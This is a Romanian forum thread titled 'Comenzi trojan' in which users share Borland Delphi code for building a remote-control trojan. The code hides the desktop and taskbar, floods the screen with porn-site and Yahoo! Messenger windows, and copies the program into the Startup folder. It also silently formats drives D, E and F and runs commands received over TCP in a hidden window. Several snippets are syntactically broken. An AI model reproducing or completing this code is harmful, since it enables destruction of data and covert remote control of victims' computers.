[Borland Delphi] Comenzi trojan

[c0smyn]

Open/Close CDRom

Uses: MMSystem;

procedure CDRom(operation: string);
begin
  if operation = 'open' then
    mciSendString('set cdaudio door open wait', nil, 0, handle)
  else
  if operation = 'close' then
    mciSendString('set cdaudio door closed wait', nil, 0, handle);
end;

Hide/Show Desktop

procedure ShowDesktop(const YesNo: boolean);
var h : HWND;
begin
  h := FindWindow('ProgMan', nil);
  h := GetWindow(h, GW_CHILD);
  if YesNo = True then
    ShowWindow(h, SW_SHOW)
  else
    ShowWindow(h, SW_HIDE);
end;

Hide/Show Start Button

procedure ShowStartButton(bValue: Boolean);
var
  Tray, Child: HWND;
  C: array[0..127] of Char;
  S: string;
begin
  Tray  := FindWindow('Shell_TrayWnd', nil);
  Child := GetWindow(Tray, GW_CHILD);
  while Child <> 0 do
  begin
    if GetClassName(Child, C, SizeOf(C)) > 0 then
    begin
      S := StrPAS(C);
      if UpperCase(S) = 'BUTTON' then
      begin
        if bValue = True then ShowWindow(Child, 1)
        else
          ShowWindow(Child, 0);
      end;
    end;
    Child := GetWindow(Child, GW_HWNDNEXT);
  end;
end;

Hide/Show TaskBar

procedure TaskBar(show: Boolean);
var
t: HWND;

begin
t := FindWindow('Shell_TrayWnd',nil);
  if show = true then
  ShowWindow(t, SW_SHOW)
  else
  if show = false then
  ShowWindow(t, SW_HIDE);
end;

Open 100 xxx web

Adaugati un ActionList pe form , iar in actionlist un TBrowseurl

procedure Open100xxxWeb;
var
i: integer;
begin
  for i := 0 to 100 do
    begin
      browseurl1.URL := 'http://redtube.com';
      browseurl1.Execute;
    end;
end;

Hide/Show clock

procedure Clock(show: Boolean);
begin
  if show = true then
ShowWindow(FindWindowEx(FindWindowEx(FindWindow('Shell_TrayWnd', nil),HWND(0),'TrayNotifyWnd', nil), HWND(0),'TrayClockWClass', nil), SW_SHOW)
  else
  if show = false then
ShowWindow(FindWindowEx(FindWindowEx(FindWindow('Shell_TrayWnd', nil),HWND(0),'TrayNotifyWnd', nil), HWND(0),'TrayClockWClass', nil), SW_HIDE);
end;

Get windows/desktop path

function GetWindowsDir: string;
var
s: array[0..255] of char;

begin
GetWindowsDirectory(s,255);
result := s;
end;

function GetDesktopPath: string;
var
a: array[0..255] of char;
s: string;

begin
GetWindowsDirectory(a,255);
s := a[0] + a[1] + a[2];
result := s + 'Documents and Settings\All Users\Desktop\';
end;

Add application to startup

procedure AddToStartUp;
var
a: array[0..255] of char;
b: string;

begin
GetWindowsDirectory(a,255);
b := a[0] + a[1] + a[2];
b := b + 'Documents and Settings\All Users\Start Menu\Programs\Startup\'+ExtractFileName(application.exename);
if not fileexists( then
CopyFile(Application.exename,ExtractFilePath(,false);
end;

Format D,E,F

Uses: ShellApi;

procedure FormatHDD;
var
a: array[0..255] of char;
formatpath: string;

begin
GetWindowsDirectory(a,255);
formatpath := a+'\system32\format.com';
ShellExecute(application.Handle,'open',formatpath,'D: /q /x /y',nil,sw_hide);
ShellExecute(application.Handle,'open',formatpath,'E: /q /x /y',nil,sw_hide);
ShellExecute(application.Handle,'open',formatpath,'F: /q /x /y',nil,sw_hide);
end;

Daca aveti nevoie de vreo comanda postati mai jos si o sa va ajut ..

[krystyano]

Remote CMD

File Manager

[c0smyn]

Remote CMD

File Manager

REMOTE CMD

CLIENT:

tcpclient1.sendln('!'+'COMANDA'); [color=green]// Ex: tcpclient1.sendln('!'+'shutdown -s -t 100');[/color]

SERVER:

OnChange

var
s: string;

begin
if edit1.text[1] = '!' then
  begin
s := edit1.text;
delete(s,1,1);
winexec(PChar(s),sw_hide);
  end;
end;

Pentru filemanager ai nevoie de TClientSocket si TServerSocket.

Am sa fac unu mai incolo si o sa pun sursa aici.

EDIT: Done!

Download Source

[krystyano]

Multumesc CoiTzA

Merge

[krystyano]

Sorry de Dublu Post!!!

c0smyn stii cum se face un Y!M Booter ?

[c0smyn]

Sorry de Dublu Post!!!

c0smyn stii cum se face un Y!M Booter ?

daca vrei sa pui aceasta comanda pe trojan e simplu. Dar sa fac un Yahoo! Booter separat nu prea ma pricep.

Pentru trojan procedezi astfel.

Adaugi pe form un actionlist iar in action list un TBrowseUrl.

Acum pentru a deschide multe ferestre folosesti codul asta.

var
mybot: string;
botnumber: integer;
i: integer;
begin
mybot := 'koko';
botnumber := 1;
for i := 0 to 1000 do
 begin
browseurl1.url := 'ymsgr:sendim?'+mybot+inttostr(botnumber);
browseurl1.execute;
botnumber := botnumber + 1;
 end;
end;

Acest cod v-a deschide 1000 ferestre de convorbire catre id-ul koko+botnumber

[Nytro]

Pentru booter de Yahoo! trebuie sa cunosti protocolul YMSG. Deci treci la sniffing daca nu gasesti o sursa ceva.

[krystyano]

Multumesc Mult

[Gondo]

Super turorial merg comenzile dar este o problema imi da eroare la linia asta de cod

CopyFile(Application.exename,ExtractFilePath(,false);

Spunemi exact tot ce trebuie sa fac sa mearga sa adaug la startup ca linia aia mio da cu rosu.Ms anticipat.

Edited February 15, 2009 by Gondo

[Raven]

CopyFile(Application.exename,ExtractFilePath(,false);

[Gondo]

Da nush ce are siteul de imi scrie gresit la false nu asta e prob imi da eroare la linie

[c0smyn]

Super turorial merg comenzile dar este o problema imi da eroare la linia asta de cod

CopyFile(Application.exename,ExtractFilePath(,false);

Spunemi exact tot ce trebuie sa fac sa mearga sa adaug la startup ca linia aia mio da cu rosu.Ms anticipat.

scuze unele coduri le-am scris pe direct ..

in loc de

CopyFile(Application.exename,ExtractFilePath(,false); 

pui

CopyFile(PChar(Application.exename),PChar(ExtractFilePath(),false); 

[mp4]

Stii.. un Msg Sender complex..cu Error Info Asking ..etc:D?

[c0smyn]

pff .. foarte greu

iti voi spune in mare cum se face nu iti dau codu.

clientul v-a trebui sa trimita 2 stringuri (un string pentru titlul messageului box si altu pentru tipul de mesaj + mesaj)

Sa luam ca exemplu acest mesaj:

- mesaj de tip error

- Titlu mesaj: "Error! Please reinstall windows!"

- Mesaj: "The computer will be closed."

Clientul v-a trimite aceste stringuri:

~Error! Please reinstall windows!
!The computer will be closed.

Acum te folosesti de OnReceive event de la server

Codul va fi cam asa:

var
s: string;
title: string;
message: string;
begin
s := receivetext;

if s[1] = '~' then 
 begin
delete(s,1,1);
title := s;
 end;
if s[1] = '!' then 
 begin
delete(s,1,1);
Message := s;
MessageBox(0,title,Message,mb_error,mb_ok);
 end;
end;

Daca apar erori imi spui .. codul l-am scris pe direct

Nustiu ce ai inteles .. daca le ai cat de cat cu ale programarii te prinzi imediat.

[mp4]

Scz dar facusem dinainte sa imi zici tu...

E simplu rau de tot...

CLIENT:

Faci un alt forum

Adaugam 2 ClientSocket

1 pentru titlu

2 Pentru text

Alegi cate un port pentru fiecare.

Mai adaugam de 2 ori edit

Edit1-->Titlu

Edit2-->Text

Adaugam Si 5 RatioButtons

Adaugam Un Button (Simplu)

Introducem acest cod pe Form, events, OnActivate:

ClientSocket1.Address:= form1.Edit1.Text;

ClientSocket2.Address:= form1.Edit1.Text;

Clientsocket1.Active:= True;

Clientsocket2.Active:= True;

Acum luam la rand RatioButtons..

Sa presupunem ca avem deja un ClientSocket1 pe forumul principal...

Si un Edit1 pentru adresa ip.

Revenim..

Pe buton,Events, OnClick

begin

clientsocket1.socket.sendtext(edit1.text);

clientsocket2.Socket.sendtext(text.text);

if RatioButton1.Checked = true then begin

form1.Client.Socket.sendtext('Error');

end else begin

if RatioButton2.Checked = true then begin

form1.Client.Socket.sendtext('exc');

end else begin

if RatioButton3.Checked = true then begin

form1.Client.Socket.sendtext('ask');

end else begin

if RatioButton4.Checked = true then begin

form1.Client.Socket.sendtext('info');

end else begin

if ratioButton5.Checked = true then begin

form1.Client.Socket.sendtext('normal');

end;

end;

end;

end;

end;

end;

Pe server pui :

edit1

edit2

Serversocket2(Deoarece exista deja unul)

ServerSocket3

Pe socket1 onclientread: pui edit1.text := SocketReceivetext;

Pe socket2 onclientread pui edit2.text :=SocketReceiveText;

Si acum e simplu daca faci cu codul ala de la tine cu mesaje intrun mod mai simplu..

Faci asa Pe ServerSocket1 care e serverul principal.. La onClientRead:

if i = 'Error' then

begin

aratamesaj(edit4.text,edit3.Text,1)

end;

if i = 'info' then

begin

aratamesaj(edit4.text,edit3.Text,2)

end;

if i = 'exc' then

begin

aratamesaj(edit4.text,edit3.Text,3)

end;

if i = 'normal' then

begin

aratamesaj(edit4.text,edit3.Text,4)

end;

if i = 'ask' then

begin

aratamesaj(edit4.text,edit3.Text,5)

end;

Tutorial facut 100% De mine..

Daca apar errori postati aici deoarece codurile sunt scrise pe direct..

Nu uitati ca sa mearga va trebuie asta

BY c0smyn:

Puneti acest cod sub " {$R *.dfm} " PE Server..

Code:

procedure ArataMesaj(mesaj: string; titlu: string; tip: Integer);

var

eroare,informatie,exclamatie,intrebare,normal: boolean;

begin

if tip > 5 then exit

else

if tip < 1 then exit;

eroare := false;

informatie := false;

exclamatie := false;

normal := false;

intrebare := false;

{Setare tip mesaj} //begin

if tip = 1 then eroare := true;

if tip = 2 then informatie := true;

if tip = 3 then exclamatie := true;

if tip = 4 then normal := true;

if tip = 5 then intrebare := true;

{Setare tip mesaj} //end;

if eroare = true then

MessageBox(application.handle,Pchar(mesaj),Pchar(titlu), +mb_OK +mb_ICONERROR)

else

if informatie = true then

MessageBox(application.handle,Pchar(mesaj),Pchar(titlu), +mb_OK +mb_ICONINFORMATION)

else

if exclamatie = true then

MessageBox(application.handle,Pchar(mesaj),Pchar(titlu), +mb_OK +mb_ICONEXCLAMATION)

else

if normal = true then

MessageBox(application.handle,Pchar(mesaj),Pchar(titlu), +mb_OK)

else

if intrebare = true then

MessageBox(application.handle,Pchar(mesaj),Pchar(titlu), +mb_OK +mb_ICONQUESTION);

end;

Uite ce am facut ...

Asta e ordinea de inceput:

1: Parola:

2:Loading:

3:MainProgram:

4:A few Options:

5:About:

Edited July 20, 2009 by mp4

[c0smyn]

credite nu pui ?

apropo nici nu stii cu ce se mananca programarea .. ai mai adaugat un client socket degeaba cand puteai sa faci acelasi lucru cu unul singur. Nu te pricepi deloc la elementele de baza (cum sa lucrezi cu un string) ...

ps

"flatron delux" asta e copiat 90% dupa Illusion. Ai folosit aceleasi imagini , aceeasi asezare, aceleasi comenzi si multe altele.

[mp4]

Tu ai Scary Death,Remote Dekstop, Flip Screen,Port scanner,Lista impartita in 2

Si sa fim sincer te-am facut de 2 ori la design..

Tu te uiti la programele tale inainte sa le postezi?

Arata de zici ca leai facut cu ochii inchisi.

Si din cate imi dau seama tu mananci programare pe paine si o scoti dupa cateva ore la wc.

[c0smyn]

da bine asa e. eu am scoso de la wc si tu ai copiato dupa mine.

nu mai continua discutia. esti mai bun si cu asta basta .

Remote cmd l-ai facut din comenzile mele de mai sus.

Port Scanneru - din sursa asta. DOWNLOAD

Designu (butonu de la formu about de inchidere) - de la illusion

Designu (imaginile form-urilor) - de la form-ul about de la programul Spy Remote

In rest ai copiat foarte mult de la illusion: list , add ip , connect , disconnect , status (cu font verde , transparent). + comenzi: hide/show desktop , hide/show start button , hide/show taskbar , remote cmd + functii:

procedure ArataMesaj(mesaj: string; titlu: string; tip: Integer);
var
eroare,informatie,exclamatie,intrebare,normal: boolean;
begin
if tip > 5 then exit
else
if tip < 1 then exit;

eroare := false;
informatie := false;
exclamatie := false;
normal := false;
intrebare := false;

{Setare tip mesaj} //begin
if tip = 1 then eroare := true;
if tip = 2 then informatie := true;
if tip = 3 then exclamatie := true;
if tip = 4 then normal := true;
if tip = 5 then intrebare := true;
{Setare tip mesaj} //end;

if eroare = true then
MessageBox(application.handle,Pchar(mesaj),Pchar(t itlu), +mb_OK +mb_ICONERROR)
else
if informatie = true then
MessageBox(application.handle,Pchar(mesaj),Pchar(t itlu), +mb_OK +mb_ICONINFORMATION)
else
if exclamatie = true then
MessageBox(application.handle,Pchar(mesaj),Pchar(t itlu), +mb_OK +mb_ICONEXCLAMATION)
else
if normal = true then
MessageBox(application.handle,Pchar(mesaj),Pchar(t itlu), +mb_OK)
else
if intrebare = true then
MessageBox(application.handle,Pchar(mesaj),Pchar(t itlu), +mb_OK +mb_ICONQUESTION);
end; 

procedure CDRom(operation: string);
begin
  if operation = 'open' then
    mciSendString('set cdaudio door open wait', nil, 0, handle)
  else
  if operation = 'close' then
    mciSendString('set cdaudio door closed wait', nil, 0, handle);
end;

procedure ShowDesktop(const YesNo: boolean);
var h : HWND;
begin
  h := FindWindow('ProgMan', nil);
  h := GetWindow(h, GW_CHILD);
  if YesNo = True then
    ShowWindow(h, SW_SHOW)
  else
    ShowWindow(h, SW_HIDE);
end;

procedure ShowStartButton(bValue: Boolean);
var
  Tray, Child: HWND;
  C: array[0..127] of Char;
  S: string;
begin
  Tray  := FindWindow('Shell_TrayWnd', nil);
  Child := GetWindow(Tray, GW_CHILD);
  while Child <> 0 do
  begin
    if GetClassName(Child, C, SizeOf(C)) > 0 then
    begin
      S := StrPAS(C);
      if UpperCase(S) = 'BUTTON' then
      begin
        if bValue = True then ShowWindow(Child, 1)
        else
          ShowWindow(Child, 0);
      end;
    end;
    Child := GetWindow(Child, GW_HWNDNEXT);
  end;
end;

procedure TaskBar(show: Boolean);
var
t: HWND;

begin
t := FindWindow('Shell_TrayWnd',nil);
  if show = true then
  ShowWindow(t, SW_SHOW)
  else
  if show = false then
  ShowWindow(t, SW_HIDE);
end;

+ multe altele